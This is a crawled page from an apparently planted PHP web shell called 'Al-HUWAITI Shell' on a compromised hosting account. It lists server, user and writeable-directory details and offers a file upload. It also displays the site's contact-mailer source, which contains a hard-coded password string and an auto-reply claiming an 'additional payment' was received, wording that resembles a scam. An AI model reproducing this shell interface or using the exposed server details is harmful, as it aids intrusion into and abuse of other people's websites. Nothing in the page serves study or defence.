Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/testemail.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<title><?php echo $company_name; ?>, Contact us</title>
<link rel="stylesheet" type="text/css" href="styles/contact.css">
<?php 
$msg='';$captcha_error=""; $errors=0;;
if (isset($_POST["send_message"])) {
	
//include("captcha_start.php");
if($errors == 0){
	
	$subject = mysqli_real_escape_string($con,$_POST['subject']);
	$last_name = mysqli_real_escape_string($con,$_POST['last_name']);
	$first_name = mysqli_real_escape_string($con,$_POST['first_name']);
	$email = mysqli_real_escape_string($con,$_POST['email']);
	$message1 = mysqli_real_escape_string($con,$_POST['message']);
	
	$msg = '';
	require 'PHPMailer/src/PHPMailer.php'; 
	require 'PHPMailer/src/SMTP.php'; 
	require 'PHPMailer/src/Exception.php';
	/*$mail = new PHPMailer();
	$mail->IsSMTP();
	$mail->SMTPAuth = true;
	$mail->Host = "smtp.titan.email";
	$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
  $mail->Port = 587;
	$mail->Username = "$no_reply_email";
	$mail->Password = "$no_reply_password";
	$mail->SetFrom("$no_reply_email", "$company_name");
	$mail->SMTPDebug = SMTP::DEBUG_CONNECTION;
    
	$mail->AddReplyTo("$email","$email"); //Put the submitter's address in a reply-to header
	$mail->Subject = "$subject";
	$mail->MsgHTML("<html><body>$message1</body></html>");
	$mail->AddAddress("$company_email", "Contact Form");//Send the message to yourself, or whoever should receive contact for submissions
	 
	//$mail->AddAttachment(""); // attachment

		if(!$mail->Send()) {
		//echo "Mailer Error: " . $mail->ErrorInfo;
		$msg = "<div class='alert alert-danger'>
					<a href='#' class='close' data-dismiss='alert' aria-label='close'>&times;</a>
					<b>".$mail->ErrorInfo."</b>
				</div>";
		} 
		else {
		$msg = "<div class='alert alert-success'>
					<a href='#' class='close' data-dismiss='alert' aria-label='close'>&times;</a>
					<b>Email Sent</b>
				</div>";
		}
       */ 
	//email an autoresponse to the person too
	//$mail->clearAddresses();
	//$mail->clearReplyTos();
	$fund_amount = 34848;
	$passowrd = "dudiugdfigiu";
	//new email class 
	$mail1 = new PHPMailer();
	$mail1->IsSMTP();
	$mail1->SMTPAuth = true;
	$mail1->Host = "smtp.titan.email";
	$mail1->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
  $mail1->Port = 587;
	$mail1->Username = "$no_reply_email";
	$mail1->Password = "$no_reply_password";
	$mail1->SetFrom("$no_reply_email", "$company_name");
	$mail1->SMTPDebug = SMTP::DEBUG_CONNECTION;
	
  $subject1 = "Thanks for contacting us"; // form field
  $email_topic = "Thanks for contacting us";
  $button_link = "$link/sign_in.php";
  $button_text = "Login";
	$message="";
	include("email_header.php");
	$message .=	"
	Dear $first_name,<br/><br/>
	Thank you for shopping up with us at $company_name.Your additional payment has been received and your order is now being processed.<br/>If you have any questions please contact our dedicated support staff at $company_email
			
	<br/><br/>
	The $company_name Team.<br/>
	$email_logo
		";
	include("email_footer.php");
	$mail1->SetFrom("$no_reply_email", "$company_name");//Use a fixed address in your own domain as the from add
	$mail1->AddAddress("$email", "$email");//Send the message to yourself, or whoever should receive contact for submissions
	$mail1->AddReplyTo("$company_email", "$company_name"); //Put the submitter's address in a reply-to header
	$mail1->Subject = "$subject1";
	$mail1->MsgHTML("<html><body>$message<br></body></html>");
	if(!$mail1->Send()) {
	echo "Mailer Error: " . $mail1->ErrorInfo;
	$msg = "Email not sent, please try again Mailer Error: ".$mail1->ErrorInfo;
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "<span style='color:steelblue;'>Auto $first_name thanks for getting in touch with us, we will get back to you very shortly!</span>";
	}
    
}
}
?>

    <!-- Start All Title Box -->
    <div class="all-title-box">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
                    <h2>Contact Us</h2>
                    <ul class="breadcrumb">
                        <li class="breadcrumb-item"><a href="#">Home</a></li>
                        <li class="breadcrumb-item active"> Contact Us </li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <!-- End All Title Box -->

    <!-- Start Contact Us  -->
    <div class="contact-box-main">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
               

                <br><br>
                </div>
                <div class="col-lg-8 col-sm-12">
                    <div class="contact-form-right">
                        <h2>GET IN TOUCH</h2>
                        <p>Do you have any question, comments or remarks? We would love to hear from you. To get in touch kindly send us a message using the form below:</p>
                        <?php echo"<h2>$msg</h2>"; ?>
<form  action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post" id="">
                            <div class="row">
                                <div class="col-md-12">
                                    <div class="form-group">
                                        <input type="text" class="form-control" id="first_name" name="first_name" placeholder="First Name" value='Andy' required data-error="Please enter your first name">
                                        <div class="help-block with-errors"></div>
                                    </div>
                                </div>
                                <div class="col-md-12">
                                    <div class="form-group">
                                        <input type="text" class="form-control" id="last_name" value='Drake' name="last_name" placeholder="Last Name" required data-error="Please enter your last name">
                                        <div class="help-block with-errors"></div>
                                    </div>
                                </div>
                                <div class="col-md-12">
                                    <div class="form-group">
                                        <input type="text" placeholder="Your Email" id="email" value='drakeandy704@yahoo.com' class="form-control" name="email" required data-error="Please enter your email">
                                        <div class="help-block with-errors"></div>
                                    </div>
                                </div>
                                <div class="col-md-12">
                                    <div class="form-group">
                                        <input type="text" class="form-control" id="subject" value='Test Email' name="subject" placeholder="Subject" required data-error="Please enter your Subject">
                                        <div class="help-block with-errors"></div>
                                    </div>
                                </div>
                                <div class="col-md-12">
                                    <div class="form-group">
                                        <textarea class="form-control" id="message" placeholder="Your Message" name='message' rows="4" data-error="Write your message" required></textarea>
                                        <div class="help-block with-errors"></div>
                                    </div>
                                    <div class="submit-button text-center">
                                        <button class="btn hvr-hover" id="submit" type="submit" name='send_message'>Send Message</button>
                                        <div id="msgSubmit" class="h3 text-center hidden"></div>
                                        <div class="clearfix"></div>
                                    </div>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
			
    </div>
    <!-- End Cart -->

<?php include("footer.php"); ?>

Al-HUWAITI Shell